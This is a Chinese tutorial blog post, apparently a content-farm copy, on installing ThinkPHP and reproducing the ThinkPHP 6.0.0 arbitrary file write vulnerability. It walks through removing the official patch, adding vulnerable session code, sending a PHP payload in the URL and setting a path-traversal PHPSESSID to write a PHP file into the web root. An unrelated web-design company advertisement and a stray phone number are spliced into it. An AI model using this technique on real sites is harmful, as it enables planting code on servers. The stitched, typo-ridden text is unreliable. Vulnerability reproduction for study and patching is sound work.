13518219792
这篇文章给大家介绍如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现，内容非常详细，感兴趣的小伙伴们可以参考借鉴，希望对大家能有所帮助。
为玉环等地区用户提供了全套网页设计制作服务，及玉环网站建设行业解决方案。主营业务为成都网站制作、成都做网站、外贸营销网站建设、玉环网站设计，以传统方式定制建设网站，并提供域名空间备案等一条龙服务，秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求，就会得到认可，从而选择与我们长期合作。这样，我们也可以走得更远！
这个路径随意
这个路径就可以
进入该命令行之后执行命令进行安装
composer create-project topthink/think tp
下载之后将tp文件夹，移动到自己习惯访问的文件夹下面
配置信息
修改配置文件的
/tp/config ##路径
上一个修改错了
app_nameespace true改成flase
验证传参信息
composer create-project topthink/think tp 6.0.0
然后移动到要放到网站目录下面
之后访问：http://127.0.0.1:8086/cms2021/tp/public/
发现安装成功：
6.0.0 版本号
php think run 运行开发环境
漏洞文件位置：
\tp\vendor\topthink\framework\src\think\session\Store.php
注意要点：
1.删除官方打的补丁-->ctype_alnum函数
在121行把补丁给去掉
去掉后
32个字符个数，
UA头或者是cookie信息
2.步骤二：添加一个可以
\tp\app\controller\index.php添加
use think\facade\Session; //session
$test=request()->only(['a']); //index方法中写入
Session::set("test",$test['a']); //index方法中写入注意添加位置
3.步骤三:打开接受seeion会话
tp\app\middleware.php 打开session信息
\think\middleware\SessionInit::class
http://127.0.0.1/tp/public/index.php?a=%3C?php%20phpinfo();?%3E
如果执行这一个的话，会发现没有任何回显，我们可以去他的网站根目录去查看
\tp\runtime\session
发现是以序列化的形式进来的
PHPSESSID=../../../../123456789chongxqweq.php 要写入的文件
注意：如果PHPSESSID要满足32位字符，如果上传不成功的话，那么就删删减减，直到上传成功为止
验证
关于如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。
